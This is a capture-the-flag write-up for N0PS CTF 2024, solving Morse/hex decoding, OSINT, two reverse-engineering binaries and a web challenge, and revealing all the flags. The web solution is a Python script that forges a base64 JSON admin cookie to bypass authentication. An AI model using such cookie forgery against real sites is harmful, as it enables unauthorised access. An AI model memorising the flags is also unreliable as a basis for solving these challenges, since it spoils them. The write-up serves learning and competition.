N0PS CTF 2024

https://ctftime.org/event/2358



CHALL’S SOLVED

CategoryChallenge
MiscMorse Me
OSINTWhere Am I 1/3
ReverseJust Read
ReverseReverse Me
WebWeb Cook

Misc

Morse Me

Overview

Author: algorab

Description: biiip biiip biiip biiip biiip bip biiip bip bip bip bip bip

challenge.txt

First misc challenge, given the plaintext containing morse-code

challenge.txt
$ cat challenge.txt
....- ...-- -.... ..-. -.... . -.... --... --... ..--- -.... .---- --... ....- --... .- ..--- .---- ..--- ----- ..... ....- -.... ---.. -.... ..... ..--- ----- -.... -.... -.... -.-. -.... .---- -.... --... ..--- ----- -.... ----. --... ...-- ...-- .- ..--- ----- ....- . ...-- ----- ..... ----- ..... ...-- --... -... ....- -.. ...-- ----- --... ..--- ..... ...-- ...-- ...-- ..... ..-. ....- ....- ...-- ...-- -.... ...-- ...-- ----- -.... ....- ...-- ...-- ..... ..--- ..... ..-. ..... ----- --... ..--- ...-- ----- --... -..

We can immediately decode it using https://morsedecoder.com/



Morse decoded value:

436F6E677261747A212054686520666C61672069733A204E3050537B4D307253335F443363306433525F5072307D

Now, decode from Hex

$ python3
>>> val = '436F6E677261747A212054686520666C61672069733A204E3050537B4D307253335F443363306433525F5072307D'
>>> bytes.fromhex(val).decode('utf-8')
'Congratz! The flag is: N0PS{M0rS3_D3c0d3R_Pr0}'
FLAG

N0PS{M0rS3_D3c0d3R_Pr0}



OSINT

Where Am I 1/3

Overview

Author: algorab

Description: u will never find where i am lollz

Note: The flag is the name of the place in ASCII lowercase (no special character, no commas), words separated by dash (-). For instance, if the place is Musée du Louvre, the flag will be N0PS{musee-du-louvre}.

img.jpg

It’s been a long time since I’ve done an OSINT challenge, but this time I just solved an easy one, hehe.



There are some details that match the photo in Google Lens

I found the place on Shutterstock about the Photo Description,

Photo Description
Stock Photo ID: 1063647680
Lisbon. Portugal. January 28, 2018. Aerial view of Commerce Square (Praca do Comercio)

And the final place is (Praca do Comercio)

FLAG

N0PS{praca-do-comercio}



Reverse

Just Read

Overview

Author: algorab

Description: Find a way to break this.

main

Decompiled of the main function

decompiled main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  bool v3; // bl
  char *s; // [rsp+18h] [rbp-18h]

  s = (char *)argv[1];
  v3 = s[22] == 125
    && s[21] == 116
    && s[20] == 78
    && s[19] == 49
    && s[18] == 95
    && s[17] == 115
    && s[16] == 116
    && s[15] == 105
    && s[14] == 98
    && s[13] == 56
    && s[12] == 95
    && s[11] == 115
    && s[10] == 49
    && s[9] == 95
    && s[8] == 114
    && s[7] == 52
    && s[6] == 72
    && s[5] == 99
    && s[4] == 123
    && s[3] == 83
    && s[2] == 80
    && *s == 78
    && s[1] == 48;
  if ( (v3 & (strlen(s) == 23)) != 0 )
    puts("Well done, you can validate with this flag!");
  else
    puts("Wrong flag!");
  return 0;
}

The flag is checked character by character, and the ASCII values of the characters are directly compared in the code. And the he ASCII values are compared in reverse order. If we convert these ASCII values to characters and reverse the order, we can get the flag.

Here’s the solver

solver.py
1ascii_values = [78, 48, 80, 83, 123, 99, 72, 52, 114, 95, 49, 115, 95, 56, 98, 105, 116, 115, 95, 49, 78, 116, 125]
2
3characters = [chr(value) for value in ascii_values]
4flag = ''.join(characters[::-1])
5
6print(flag[::-1])
$ python3 solver.py
N0PS{cH4r_1s_8bits_1Nt}
FLAG

N0PS{cH4r_1s_8bits_1Nt}


Reverse Me

Overview

Author: Simone Aonzo

Description: Don’t complain if you can’t see me, because I have to be reversed to make me run 🙃

img.jpg

Bro! why it must in .jpg extension 🗿

Firstly, if we look at the last part of the hexdump value there is something like FLE but if we reverse it it becomes ELF, got em!

xxd img.jpg | tail
$ xxd img.jpg | tail
000037f0: 0000 0000 0000 001c 0000 0000 0000 0318  ................
00003800: 0000 0000 0000 0318 0000 0000 0000 0318  ................
00003810: 0000 0004 0000 0003 0000 0000 0000 0008  ................
00003820: 0000 0000 0000 02d8 0000 0000 0000 02d8  ................
00003830: 0000 0000 0000 0040 0000 0000 0000 0040  .......@.......@
00003840: 0000 0000 0000 0040 0000 0004 0000 0006  .......@........
00003850: 001c 001d 0040 000d 0038 0040 0000 0000  .....@...8.@....
00003860: 0000 0000 0000 3148 0000 0000 0000 0040  ......1H.......@
00003870: 0000 0000 0000 1310 0000 0001 003e 0003  .............>..
00003880: 0000 0000 0000 0000 0001 0102 464c 457f  ............FLE.

So, here’s the value after we reverse all the bytes, and don’t forget to remove .jpg extension.

reverse.py
 1input_file_path = 'img.jpg'
 2output_file_path = 'img'
 3
 4with open(input_file_path, 'rb') as file:
 5    reversed_content = file.read()[::-1]
 6
 7with open(output_file_path, 'wb') as reversed_file:
 8    reversed_file.write(reversed_content)
 9
10print(f'Done.\nFile: {output_file_path}')
xxd img | head
$ xxd img | head
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0300 3e00 0100 0000 1013 0000 0000 0000  ..>.............
00000020: 4000 0000 0000 0000 4831 0000 0000 0000  @.......H1......
00000030: 0000 0000 4000 3800 0d00 4000 1d00 1c00  ....@.8...@.....
00000040: 0600 0000 0400 0000 4000 0000 0000 0000  ........@.......
00000050: 4000 0000 0000 0000 4000 0000 0000 0000  @.......@.......
00000060: d802 0000 0000 0000 d802 0000 0000 0000  ................
00000070: 0800 0000 0000 0000 0300 0000 0400 0000  ................
00000080: 1803 0000 0000 0000 1803 0000 0000 0000  ................
00000090: 1803 0000 0000 0000 1c00 0000 0000 0000  ................

Now, lets try to decompiled it

decompiled main
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // ebp
  int v4; // er12
  int v5; // er13
  int v6; // ebx
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // r9
  __int64 v10; // r8
  char *v11; // rbp
  __int64 v12; // [rsp-8h] [rbp-C0h]
  char src[32]; // [rsp+20h] [rbp-98h] BYREF
  char v14[56]; // [rsp+40h] [rbp-78h] BYREF
  unsigned __int64 v15; // [rsp+78h] [rbp-40h]

  v15 = __readfsqword(0x28u);
  if ( a1 == 5 )
  {
    v3 = strtol(a2[1], 0LL, 10);
    v4 = strtol(a2[2], 0LL, 10);
    v5 = strtol(a2[3], 0LL, 10);
    v6 = strtol(a2[4], 0LL, 10);
    if ( (unsigned __int8)sub_1460((unsigned int)v3, (unsigned int)v4, (unsigned int)v5, (unsigned int)v6) )
    {
      v7 = (unsigned int)-v6;
      if ( v6 > 0 )
        v7 = (unsigned int)v6;
      v12 = v7;
      v8 = (unsigned int)-v5;
      if ( v5 > 0 )
        v8 = (unsigned int)v5;
      v9 = (unsigned int)-v4;
      if ( v4 > 0 )
        v9 = (unsigned int)v4;
      v10 = (unsigned int)-v3;
      if ( v3 > 0 )
        v10 = (unsigned int)v3;
      __sprintf_chk(v14, 1LL, 42LL, "%d%d%d%d", v10, v9, v8, v12);
      qmemcpy(src, &unk_2016, 0x19uLL);
      v11 = (char *)sub_1A50(src, 0x18uLL);
      puts(v11);
      free(v11);
      exit(0);
    }
  }
  exit(-1);
}

The main function checks if it has exactly 5 arguments (including the program name itself). If not, it exits with a status of -1. If there are 5 arguments, it converts the next 4 arguments to integers using strtol and checks if they satisfy a certain condition using the sub_1460 function.

decompiled sub_1460
__int64 __fastcall sub_1460(int a1, int a2, int a3, int a4)
{
  unsigned int v4; // er8

  v4 = 0;
  if ( 3 * a4 + a3 + 4 * a2 - 10 * a1 != 28 )
    return 0LL;
  if ( 9 * a2 - 8 * a1 + 6 * a3 - 2 * a4 == 72 && a4 + -3 * a2 - 2 * a1 - 8 * a3 == 29 )
    LOBYTE(v4) = a3 + 5 * a1 + 7 * a2 - 6 * a4 == 88;
  return v4;
}

The sub_1460 function checks if the four input integers satisfy four specific equations. If they do, it returns 1 (true), otherwise it returns 0 (false).

decompiled sub_1A50
void *__fastcall sub_1A50(void *src, size_t n, __m128i *a3, __int64 a4)
{
  __m128i v5; // rax
  size_t v6; // rbx
  unsigned int *v7; // rax
  unsigned int *v8; // r12
  __m128i *v9; // rbp
  unsigned int v10; // er13
  unsigned int v11; // ecx
  unsigned int v12; // er10
  unsigned int *v13; // rsi
  int v14; // edi
  unsigned int v15; // er8
  unsigned int v16; // er9
  __int64 v17; // rax
  size_t v18; // rbx
  void *v19; // r13
  size_t *v20; // rax
  __int64 v22; // rdx
  unsigned int v23; // eax
  _QWORD *v24; // rdx
  unsigned __int64 v25; // rcx
  unsigned int v26; // eax
  unsigned int v27; // eax
  unsigned int v28; // edx
  __int64 v29; // rsi
  size_t *v30; // [rsp+8h] [rbp-60h]
  __m128i v31; // [rsp+10h] [rbp-58h] BYREF
  unsigned __int64 v32; // [rsp+28h] [rbp-40h]

  v30 = (size_t *)a4;
  v32 = __readfsqword(0x28u);
  v5 = *a3;
  v31 = v5;
  if ( v5.m128i_i8[0] )
  {
    if ( v5.m128i_i8[1] )
    {
      if ( (v5.m128i_i32[0] & 0xFF0000) != 0 )
      {
        if ( (v5.m128i_i32[0] & 0xFF000000) != 0 )
        {
          if ( v5.m128i_i8[4] )
          {
            if ( v5.m128i_i8[5] )
            {
              if ( v5.m128i_i8[6] )
              {
                if ( HIBYTE(v5.m128i_i64[0]) )
                {
                  if ( v5.m128i_i8[8] )
                  {
                    if ( v5.m128i_i8[9] )
                    {
                      if ( (v5.m128i_i32[2] & 0xFF0000) != 0 )
                      {
                        if ( (v5.m128i_i32[2] & 0xFF000000) != 0 )
                        {
                          if ( v5.m128i_i8[12] )
                          {
                            if ( v5.m128i_i8[13] )
                            {
                              if ( v5.m128i_i8[14] )
                                goto LABEL_16;
                              v22 = 15LL;
                            }
                            else
                            {
                              v22 = 14LL;
                            }
                          }
                          else
                          {
                            v22 = 13LL;
                          }
                        }
                        else
                        {
                          v22 = 12LL;
                        }
                      }
                      else
                      {
                        v22 = 11LL;
                      }
                    }
                    else
                    {
                      v22 = 10LL;
                    }
                  }
                  else
                  {
                    v22 = 9LL;
                  }
                }
                else
                {
                  v22 = 8LL;
                }
              }
              else
              {
                v22 = 7LL;
              }
            }
            else
            {
              v22 = 6LL;
            }
          }
          else
          {
            v22 = 5LL;
          }
        }
        else
        {
          v22 = 4LL;
        }
      }
      else
      {
        v22 = 3LL;
      }
    }
    else
    {
      v22 = 2LL;
    }
  }
  else
  {
    v22 = 1LL;
  }
  v23 = 16 - v22;
  v24 = (__int64 *)((char *)v31.m128i_i64 + v22);
  if ( v23 >= 8 )
  {
    *v24 = 0LL;
    *(_QWORD *)((char *)v24 + v23 - 8) = 0LL;
    v25 = (unsigned __int64)(v24 + 1) & 0xFFFFFFFFFFFFFFF8LL;
    v26 = ((_DWORD)v24 - v25 + v23) & 0xFFFFFFF8;
    if ( v26 >= 8 )
    {
      v27 = v26 & 0xFFFFFFF8;
      v28 = 0;
      do
      {
        v29 = v28;
        v28 += 8;
        *(_QWORD *)(v25 + v29) = 0LL;
      }
      while ( v28 < v27 );
    }
  }
  else if ( (v23 & 4) != 0 )
  {
    *(_DWORD *)v24 = 0;
    *(_DWORD *)((char *)v24 + v23 - 4) = 0;
  }
  else if ( v23 )
  {
    *(_BYTE *)v24 = 0;
    if ( (v23 & 2) != 0 )
      *(_WORD *)((char *)v24 + v23 - 2) = 0;
  }
LABEL_16:
  if ( !n )
    return 0LL;
  v6 = (n >> 2) - (((n & 3) == 0) - 1LL);
  sleep(1u);
  v7 = (unsigned int *)calloc(v6, 4uLL);
  v8 = v7;
  if ( !v7 )
    return 0LL;
  memcpy(v7, src, n);
  sleep(1u);
  v9 = (__m128i *)calloc(4uLL, 4uLL);
  if ( !v9 )
  {
    free(v8);
    return 0LL;
  }
  *v9 = _mm_load_si128(&v31);
  if ( ptrace(PTRACE_TRACEME, 0LL, 1LL, 0LL) == -1 )
    return 0LL;
  ptrace(PTRACE_DETACH, 0LL, 1LL, 0LL);
  v10 = (n >> 2) - ((n & 3) == 0);
  if ( (_DWORD)v6 != 1 )
  {
    v11 = *v8;
    v12 = -1640531527 * (0x34 / (unsigned int)v6 + 6);
    do
    {
      v13 = &v8[v10];
      v14 = v6 - 1;
      v15 = v12 >> 2;
      do
      {
        v16 = v13[(unsigned int)(v6 - 2) - (unsigned __int64)v10];
        --v13;
        v11 = v13[1]
            - ((((4 * v11) ^ (v16 >> 5)) + ((16 * v16) ^ (v11 >> 3))) ^ ((v16 ^ v9->m128i_i32[((unsigned __int8)v15 ^ (unsigned __int8)v14) & 3])
                                                                       + (v11 ^ v12)));
        v13[1] = v11;
        --v14;
      }
      while ( v14 );
      v11 = *v8
          - (((v12 ^ v11) + (v9->m128i_i32[v15 & 3] ^ v8[v10])) ^ (((16 * v8[v10]) ^ (v11 >> 3))
                                                                 + ((4 * v11) ^ (v8[v10] >> 5))));
      *v8 = v11;
      v12 += 1640531527;
    }
    while ( v12 );
  }
  v17 = 4 * v6;
  v18 = v8[v6 - 1];
  if ( v18 > v17 - 4 || v18 < v17 - 7 )
  {
    v19 = 0LL;
  }
  else
  {
    v19 = malloc(v18 + 1);
    memcpy(v19, v8, v18);
    v20 = v30;
    *((_BYTE *)v19 + v18) = 0;
    *v20 = v18;
  }
  free(v8);
  free(v9);
  return v19;
}

If the condition is satisfied, the main function then creates a string from the absolute values of the four integers, copies a certain memory region into a buffer, calls the sub_1A50 function with this buffer, prints the result, frees the allocated memory, and exits with a status of 0.

The sub_1A50 function seems to be a decryption function. It takes a source buffer and its size, and performs a series of operations on it, including a sleep operation, memory allocation and copying, and some bitwise operations.

To get the four integers in the sub_1460 function, the sub_1460 function checks if the four input integers satisfy the following four equations:

  1. $$3a_4 + a_3 + 4a_2 - 10a_1 = 28$$
  2. $$9a_2 - 8a_1 + 6a_3 - 2a_4 = 72$$
  3. $$a_4 - 3a_2 - 2a_1 - 8a_3 = 29$$
  4. $$a_3 + 5a_1 + 7a_2 - 6a_4 = 88$$

where (a1, a2, a3, a4) are the four integers we’re looking for.

integers.py
 1from sympy import symbols, Eq, solve
 2
 3a1, a2, a3, a4 = symbols('a1 a2 a3 a4')
 4
 5eq1 = Eq(3*a4 + a3 + 4*a2 - 10*a1, 28)
 6eq2 = Eq(9*a2 - 8*a1 + 6*a3 - 2*a4, 72)
 7eq3 = Eq(a4 - 3*a2 - 2*a1 - 8*a3, 29)
 8eq4 = Eq(a3 + 5*a1 + 7*a2 - 6*a4, 88)
 9
10solution = solve((eq1, eq2, eq3, eq4), (a1, a2, a3, a4))
11print(solution)
$ python3 integers.py
{a1: -3, a2: 8, a3: -7, a4: -9}

$ ./img -3 8 -7 -9
N0PS{r1CKUNr0111N6}
FLAG

N0PS{r1CKUNr0111N6}



Web

Web Cook

Overview

Author: algorab

Description: The best recipes for a perfect website :p

https://nopsctf-web-cook.chals.io/

Next in web category challenge,



By the instructions on the web that we need to create a cookie with a JSON object, base64 encode it and then send it with request. The JSON object should have a key isAdmin set to 1. Here’s how we can do it.

solver.py
 1import requests
 2import base64
 3import json
 4import re
 5
 6url = 'https://nopsctf-web-cook.chals.io/'
 7
 8data = {"username":"Bagas Oli Samping", "isAdmin":1}
 9json_data = json.dumps(data)
10
11encoded_data = base64.b64encode(json_data.encode()).decode()
12cookies = {'session': encoded_data}
13response = requests.post(url, cookies=cookies)
14print(response.text)
15
16flag = re.findall('N0PS{.*}', response.text)
17print("FLAG:", flag[0])
$ python3 solver.py

<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>Recipe - PHP cooking</title>
  <link rel="stylesheet" href="style.css">
</head>
<body>
  <header>
    <h1>Cookie-based PHP authentication</h1>
        <div id="username-input">
        <h4>Hello Bagas Oli Samping!</h4>
    </div>
      </header>

  <section class="recipe-section">
    <div class="recipe-card">
      <h2>Ingredients:</h2>
      <ul>
        <li>Fresh PHP</li>
        <li>A cookie</li>
        <li>Bad security skills flavour</li>
        <li>Base64 ustensils</li>
        <li>Minced JSON</li>
        <li>Gullibility sauce</li>
        <li>Internet hoven</li>
      </ul>
    </div>

    <div class="recipe-card">
      <h2>Instructions:</h2>
      <ol>
        <li>Use the Base64 to mix the cookie with the JSON. You should obtain a PHP array.</li>
        <li>Use the fresh PHP seasoned with your gullibility to check if the isAdmin value of the cookie is set to 1.</li>
        <li>Next, add your bad security skills flavour to give the flag.</li>
        <li>Put it in the Internet hoven. After some minutes, you should see the results.</li>
      </ol>
    </div>
  </section>

  <div style='color:red'>You are an admin! Here is your flag: N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}</div>
</body>
</html>


FLAG: N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}
FLAG

N0PS{y0u_Kn0W_H0w_t0_c00K_n0W}